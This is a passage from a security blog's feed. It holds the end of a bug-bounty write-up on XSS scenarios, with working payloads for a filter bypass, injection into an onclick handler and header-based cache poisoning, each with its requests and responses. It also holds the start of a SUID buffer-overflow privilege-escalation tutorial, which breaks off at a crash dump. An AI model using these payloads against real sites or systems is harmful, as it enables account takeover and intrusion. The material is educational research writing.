&lt;p&gt;Is this filter recursive? What would happen if it is used the first split to create a new &lt;em&gt;onload&lt;/em&gt; element?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /us/en/search-results?keywords=aaa&amp;amp;csrfToken=bbb&amp;lt;svg/onloaonloadd=/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;div id='csrfToken' style='display:none'&amp;gt;bbb&amp;lt;svg/onloa/&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first &lt;em&gt;split&lt;/em&gt; eliminates the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onload&lt;/code&gt; and leaves &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onload&lt;/code&gt;. Finishing the payload:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /us/en/search-results?keywords=aaa&amp;amp;csrfToken=bbb&amp;lt;svg/onloaonloadd=d='prompt(3)'/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'csrfToken'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'display:none'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;bbb&lt;span class=&quot;nt&quot;&gt;&amp;lt;svg&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;onload=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'prompt(3)'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191010/XSS_3.PNG&quot; alt=&quot;XSS 2&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;input-vector-inside-on-elements-&quot;&gt;&lt;a name=&quot;case2&quot;&gt;&lt;/a&gt;Input vector inside &lt;em&gt;on&lt;/em&gt; elements 🥈&lt;/h2&gt;

&lt;p&gt;One of the common escenarios that allows a XSS execution is when the controlled input parameter is reflected inside an &lt;em&gt;on&lt;/em&gt; element. After some enumeration in a Bug Bounty program, an endpoint where the content of the URL was reflected &lt;strong&gt;inside an &lt;em&gt;on&lt;/em&gt; element&lt;/strong&gt; is found.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /StorecTEST/Cart?UpdateCart=Update&amp;amp;items%5b2919b907
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;btn inputbutton&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;UpdateCart&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; setFormAction(&amp;amp;#39;cartForm&amp;amp;#39;,&amp;amp;#39;/StorecTEST/Cart?inputAction=UpdateCart&amp;amp;#39;)&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Update&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Update&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;#39;&lt;/code&gt; character is perfectly valid inside JavaScript and is equivalent to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'&lt;/code&gt; character. How to take advantage of this? Check this JavaScript scenario:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Hello &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; world&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In JavaScript, if a string is evaluated and the string is escaped with a function between arithmetic operators, the function will be executed firstly to determine its result, and the appended to the string. Therefore, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert(2)&lt;/code&gt; will be executed firstly. Trying to escape the values to force this scenario:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /Storec'-TEST/Cart?UpdateCart=Update&amp;amp;items%5b2919b907&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;btn inputbutton&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;UpdateCart&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; setFormAction(&amp;amp;#39;cartForm&amp;amp;#39;,&amp;amp;#39;/Storec&amp;amp;#39;-TEST/Cart?inputAction=UpdateCart&amp;amp;#39;)&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Update&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Update&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finishing the payload:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /Storec'-prompt(2)-'/Cart?UpdateCart=Update&amp;amp;items%5b2919b907&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;btn inputbutton&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;UpdateCart&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; setFormAction(&amp;amp;#39;cartForm&amp;amp;#39;,&amp;amp;#39;/Storec&amp;amp;#39;-prompt(2)-&amp;amp;#39;/Cart?inputAction=UpdateCart&amp;amp;#39;)&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Update&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Update&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, when a user clicks the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Update&lt;/code&gt; button:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191010/XSS_2.PNG&quot; alt=&quot;XSS 2&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;custom-headers-and-web-cache-poisoning-&quot;&gt;&lt;a name=&quot;case3&quot;&gt;&lt;/a&gt;Custom headers and Web Cache Poisoning 🥇&lt;/h2&gt;

&lt;p&gt;After some &lt;strong&gt;Headers&lt;/strong&gt; bruteforcing, the content of &lt;strong&gt;X-Forwarded-Host&lt;/strong&gt; was reflected in the source:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /endpoint.html HTTP/1.1
Host: redacted
User-Agent: 
Connection: close
X-Forwarded-Host: TEST
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;http-equiv=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;page-title&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;content=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;canonical&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://TEST/content/endpoint.html&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Trying to escape and insert a valid XSS, give us the following payload. The character &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; was blacklisted and throws an error:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /endpoint.html HTTP/1.1
Host: redacted
User-Agent: 
Connection: close
X-Forwarded-Host: &quot;&amp;gt;&amp;lt;svg onload=prompt(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;http-equiv=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;page-title&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;content=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;canonical&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;svg&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onload=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;prompt(1)&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;/content/endpoint.html&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, this is a &lt;strong&gt;Self-XSS&lt;/strong&gt; because it is not possible that a user could execute this payload without setting this custom header. However, there is some option, abusing &lt;strong&gt;Web Cache Poisoning&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This endpoint, stores in its cache the response. Therefore, if a response with the XSS payload could be stored, any user that visit this cached endpoint will be triggered with XSS.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /enpoint.html?poisonedcache=1 HTTP/1.1
Host: redacted
User-Agent: 
Connection: close
X-Forwarded-Host: TEST
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Check &lt;strong&gt;poisonedcache=1&lt;/strong&gt; parameter. After that, if a user navigates to &lt;em&gt;https://redacted.com/enpoint.html?poisonedcache=1&lt;/em&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191010/XSS_1.PNG&quot; alt=&quot;XSS 1&quot; /&gt;&lt;/p&gt;
</description>
          <pubDate>2019-10-10T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/Common_XSS_Scenarios_1</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Common_XSS_Scenarios_1</guid>
        </item>
      
    
      
        <item>
          <title>Binary Privilege Escalation in x64. Defeating ASLR with Leaks</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Binary Privilege Escalation in x64. Defeating ASLR with Leaks&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190615/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It is very common, mostly in CTF challenges, to abuse a binary exploitation to retrieve a shell from an unprivilege user to root user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TLDR:&lt;/strong&gt; In this example we are going to use a binary called &lt;em&gt;jl_bin&lt;/em&gt; with a &lt;strong&gt;SUID&lt;/strong&gt; permission and vulnerable to a &lt;strong&gt;Buffer Overlow&lt;/strong&gt;. &lt;strong&gt;ASLR&lt;/strong&gt; protection is enabled in x64 architecture so we have to leak the &lt;strong&gt;libc&lt;/strong&gt; base address of the &lt;strong&gt;GOT&lt;/strong&gt; table to spawn a shell giving the &lt;strong&gt;libc&lt;/strong&gt; offsets of &lt;strong&gt;system&lt;/strong&gt; and &lt;strong&gt;setuid&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#setuid&quot;&gt;Setuid&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#binary_protections&quot;&gt;Binary Protections&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#bof&quot;&gt;Exploiting the Buffer Overflow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#leak&quot;&gt;What is a Leak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exploiting_leak&quot;&gt;Exploiting the Leak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ret2libc&quot;&gt;Ret2libc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#full_exploitation&quot;&gt;Full Exploitation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-is-setuidsuid-permission&quot;&gt;&lt;a name=&quot;setuid&quot;&gt;&lt;/a&gt;What is setuid/SUID permission?&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;SUID&lt;/strong&gt; (&lt;strong&gt;S&lt;/strong&gt;et owner &lt;strong&gt;U&lt;/strong&gt;ser &lt;strong&gt;ID&lt;/strong&gt; up on execution) is a special type of file permissions given to a file. Normally in Linux/Unix when a program runs, it inherits access permissions from the logged in user. SUID is defined as &lt;strong&gt;giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;How could we find these binaries? Using this command:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find / -perm -4000 2&amp;gt;/dev/null&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt; binary has a &lt;strong&gt;SUID&lt;/strong&gt; permission because allows a user to run a temporary elevated process. The letter &lt;strong&gt;s&lt;/strong&gt; indicates that the binary has &lt;strong&gt;SUID&lt;/strong&gt; enabled.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; ls -ll /usr/bin/sudo
-r-s--x--x  1 root  wheel  370720 May  4 09:02 /usr/bin/sudo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Therefore, if we could exploit a &lt;strong&gt;SUID&lt;/strong&gt; binary that its owner is &lt;strong&gt;root&lt;/strong&gt; we could privesc.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;binary-protections&quot;&gt;&lt;a name=&quot;binary_protections&quot;&gt;&lt;/a&gt;Binary Protections&lt;/h2&gt;

&lt;p&gt;Using &lt;strong&gt;&lt;a href=&quot;https://www.gnu.org/software/gdb/&quot;&gt;gdb&lt;/a&gt;&lt;/strong&gt;, in my case with &lt;strong&gt;&lt;a href=&quot;https://github.com/longld/peda&quot;&gt;peda&lt;/a&gt;&lt;/strong&gt;, allows us to check if the binary has some protections:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; gdb jl_bin

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What does it means?&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Protection&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;CANARY&lt;/td&gt;
      &lt;td&gt;Certain value put on the stack and validated before that function is left again. If the canary value is not correct, then the stack might have been overwritten/corrupted and the application is stopped.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;FORTIFY&lt;/td&gt;
      &lt;td&gt;The compiler will try to intelligently read the code it is compiling/building. When it sees a C-library function call against a variable whose size it can deduce, it will replace the call with a FORTIFY’ed function call, passing on the maximum size for the variable. If this special function call notices that the variable is being overwritten beyond its boundaries, it forces the application to quit immediately.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NX (non-execute)&lt;/td&gt;
      &lt;td&gt;The application, when loaded in memory, does not allow any of its segments to be both writable and executable.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PIE (Position Independent Executable)&lt;/td&gt;
      &lt;td&gt;Tells the loader which virtual address it should use. Combined with in-kernel ASLR, PIE applications have a more diverge memory organization, making attacks that rely on the memory structure more difficult.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;RELRO (Relocation Read-Only)&lt;/td&gt;
      &lt;td&gt;Headers in the binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done, but before the application itself is launched.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;In addition to that, kernel &lt;strong&gt;ASLR&lt;/strong&gt; protection is enabled by default. &lt;strong&gt;Address space layout randomization (ASLR)&lt;/strong&gt; is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.&lt;/p&gt;

&lt;p&gt;To check if is enabled, run:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; cat /proc/sys/kernel/randomize_va_space
2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;exploiting-the-buffer-overflow&quot;&gt;&lt;a name=&quot;bof&quot;&gt;&lt;/a&gt;Exploiting the Buffer Overflow&lt;/h2&gt;

&lt;p&gt;When the program is executed, a password is required. What happen if we send a lot of &lt;strong&gt;A&lt;/strong&gt;s?&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; ./jl_bin
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perfect, a &lt;strong&gt;Segmentation Fault&lt;/strong&gt;. Let’s see it in gdb:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; gdb jl_bin
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r

Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.

Program received signal SIGSEGV, Segmentation fault.
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
RAX: 0x0
RBX: 0x0
RCX: 0x7fe877a6e504 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;lt;__GI___libc_write+20&amp;gt;:    cmp    rax,0xfffffffffffff000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
RDX: 0x7fe877b418c0 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0
RSI: 0x4319c0 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;access denied.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ssword: &quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
RDI: 0x0
RBP: 0x4141414141414141 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AAAAAAAA'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
RSP: 0x7ffd474a9068 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'A'&lt;/span&gt; &amp;lt;repeats 151 &lt;span class=&quot;nb&quot;&gt;times&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;)&lt;/span&gt;
RIP: 0x401618 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;lt;auth+261&amp;gt;:      ret&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
R8 : 0x7fe877b46500 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x00007fe877b46500&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In 64 binaries, a direct overwrite in &lt;strong&gt;RIP&lt;/strong&gt; is not possible, but the process is stuck in a &lt;strong&gt;ret&lt;/strong&gt; call. We can observe that the stack pointer (&lt;strong&gt;RSP&lt;/strong&gt;) is overwrited with &lt;strong&gt;A&lt;/strong&gt;s : &lt;em&gt;‘A’ &amp;lt;repeats 151 times&amp;gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Therefore, We need to put a valid direction in &lt;strong&gt;RSP&lt;/strong&gt; to have a succesfull exploitation.&lt;/p&gt;
